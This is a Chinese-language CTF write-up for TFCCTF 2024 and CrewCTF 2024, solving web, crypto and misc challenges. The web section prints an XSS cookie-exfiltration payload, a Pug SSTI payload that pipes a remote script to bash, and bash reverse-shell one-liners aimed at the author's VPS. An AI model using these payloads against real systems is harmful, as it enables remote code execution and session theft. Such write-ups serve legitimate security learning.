TFCCTF2024&CrewCTF2024
TFCCTF
Web
GREETINGS
一开始感觉可以xss
,因为body
标签可以用
<body onload=alert(`ls`);> |
然后,在vps
上放置一个xss.php
|
<body onload="window.location.href='http://8.138.168.65/xss.php?cookie='+document.cookie">
一试,没鬼用,莫得反应,那就不是xss
喽
群里的师傅做出来了,Orz,是pug ssti
,一开始也注意到了X-Powered-By: Express
,Express
是node.js
的Web
框架的一种,而Express
框架中最常用的两个视图引擎是Pug
和EJS
,这个确实没怎么接触
测试发现%23{7*7}
,可以被解析为49
,确定为pug ssti
师傅给了一篇参考文章
https://www.hackingloops.com/ssti-in-pug/
payload大全
https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#pugjs-nodejs
%23{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 8.138.168.65:443/bash.html | bash')}()} |
payload1
,在自己的vps
的/var/www/html
,新建了bash.html
,内容为bash -i >& /dev/tcp/8.138.168.65/443 0>&1
前提是你的vps
部署了部署LNMP
环境(我的是阿里云ESC),可参考官方文档https://help.aliyun.com/zh/ecs/use-cases/build-an-lnmp-stack-on-a-ubuntu-instance?spm=a2c4g.11186623.0.i5#prereq-ljy-05c-i3m
如果你的配置和我一样,请注意上图,要把php7.4-fpm.sock
,改为php8.1-fpm.sock
,反正我什么步骤都没错,就这里看漏眼了,没改,因为我们后面安装php
的时候,安装的是php8.1
,而Nginx
默认的配置文件显示的是7.4
然后,payload2
的情况
不知道哪里出问题了
然后,反弹shell
,也有免费的vps
,具体使用体验我不清楚,反正我是自费的
https://cat.flag.sh |
SAFE_CONTENT
源码
|
关注到这个
$content = fetchContent($url); |
exec
函数无回显,有echo
通过反引号实现命令执行,我们可以直接反弹shell
还有这个
function fetchContent($url) { |
说明$content
的内容需要经过base64编码
And this
function isAllowedIP($url, $allowedHost) { |
parse_url — 解析 URL,返回其组成部分
,$allowedIP = 'localhost';
说明$url
的域名要等于localhost
有不少关于它绕过的介绍,https://www.cnblogs.com/Lee-404/p/12826352.html
有这样的形式://localhost
,我们很容易想到php伪协议
中的,data://text/plain,xxx
于是有了下面的payload
,原来还能data://localhost/text/plain
这样用,学到了
`bash -c 'bash -i >& /dev/tcp/8.138.168.65/443 0>&1'` |
/?url=data://localhost/text/plain,payload
,payload是上面base64编码后的结果
Crypto
CCCCC
5c4c4c6c4c3c4c3c5c4c4c6c7cbc6c3c7c3c6c8c6cfc7c5c7c4c5cfc6c3c6cfc7c5c7c4c5cfc6c3c7c4c3c0c5cfc6c3c6cdc7c9c5cfc6c3c6c2c3c0c7c9c5cfc6c3c3c4c6cec6c4c5cfc6c3c6cdc7c9c5cfc6c3c6c4c6cfc6c7c5cfc6c3c6c1c6cec6c4c5cfc6c3c6cdc7c9c5cfc6c3c6c3c3c4c3c7c7cdc0ca
很像16进制,但每两位都是以c
结尾,把c
去掉试试
5446434354467b6373686f75745f636f75745f6374305f636d795f636230795f63346e645f636d795f63646f675f63616e645f636d795f636334377d0a
得到TFCCTF{cshout_cout_ct0_cmy_cb0y_c4nd_cmy_cdog_cand_cmy_cc47}
GENETICS
CCCA CACG CAAT CAAT CCCA CACG CTGT ATAC CCTT CTCT ATAC CGTA CGTA CCTT CGCT ATAT CTCA CCTT CTCA CGGA ATAC CTAT CCTT ATCA CTAT CCTT ATCA CCTT CTCA ATCA CTCA CTCA ATAA ATAA CCTT CCCG ATAT CTAG CTGC CCTT CTAT ATAA ATAA CGTG CTTC |
CCCACACGCAATCAATCCCACACGCTGTATACCCTTCTCTATACCGTACGTACCTTCGCTATATCTCACCTTCTCACGGAATACCTATCCTTATCACTATCCTTATCACCTTCTCAATCACTCACTCAATAAATAACCTTCCCGATATCTAGCTGCCCTTCTATATAAATAACGTGCTTC |
去掉空格,随波逐流,或者ToolsFx
三位一组解密
vezdq2rgEZfFDZfSBf0Nm4rFDgGXC291C291x4q1DhqWmf0wm4j6x4mWmg60
这个暂时不知道有没有解,md,真的工具用多了,下次再也不梭了
这次记住了,ACGT
,作为一个物化地选手,老是记得是ATCG
,觉得好顺口
s = 'CCCA CACG CAAT CAAT CCCA CACG CTGT ATAC CCTT CTCT ATAC CGTA CGTA CCTT CGCT ATAT CTCA CCTT CTCA CGGA ATAC CTAT CCTT ATCA CTAT CCTT ATCA CCTT CTCA ATCA CTCA CTCA ATAA ATAA CCTT CCCG ATAT CTAG CTGC CCTT CTAT ATAA ATAA CGTG CTTC' |
CONWAY
from secret import generate_next_key, flag |
conway Sequences
,康威序列,我们需要找题目所给的下一个
import hashlib |
Misc
RULES
DISCORD SHENANIGANS V4
机器人说了flag
就在这里,但是你直接复制它的话是没有反应的
选择右键复制,即可得到
I'm sure it's here somewhere. |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||| _ _ _ _ _ _ add this to the format: zoo_wee_mama |
TFCCTF{zoo_wee_mama}
CrewCTF
https://2024.crewc.tf/challenges
Web
Malkonkordo()
一个Markdown
编辑器,可以看到渲染内容
但是用Rust
写的。。。做牛魔
Crypto
4ES
题目
#!/usr/bin/env python3 |
一开始无脑选择了直接爆破,总结果,淦,时间上要跑很久,而且中途我还断了几次
后面有师傅做出来了,一看中间相遇攻击,好家伙,很熟悉但自己没搞过
一搜,还真发现跟二重DES
的情况类似,也是适用于中间相遇攻击,空间换时间
相关介绍
https://www.cnblogs.com/weikunpeng/p/14231224.html
https://ctf-wiki.org/crypto/attack-summary/meet-in-the-middle/
然后,自己也写了一个脚本,有点笨笨的(),解出来发现不对,一看,w和x反了,一开始还不知道为什么,写wp
,发现上面写反了,应该是,还好是ECB mode
,没什么影响,交换w和x就行了
from Crypto.Util.number import * |
b'crew{m1tm_at74cK_1s_g0lD_4nd_py7h0n_i5_sl0w!!}\x02\x02'
Read between the lines()
题目
#!/usr/bin/env python3 |
加密过程很简单,但没什么可行的思路,在努力看懂师傅的wp
ing
Misc
这个比赛的杂项,不好评价。。。反正不适合我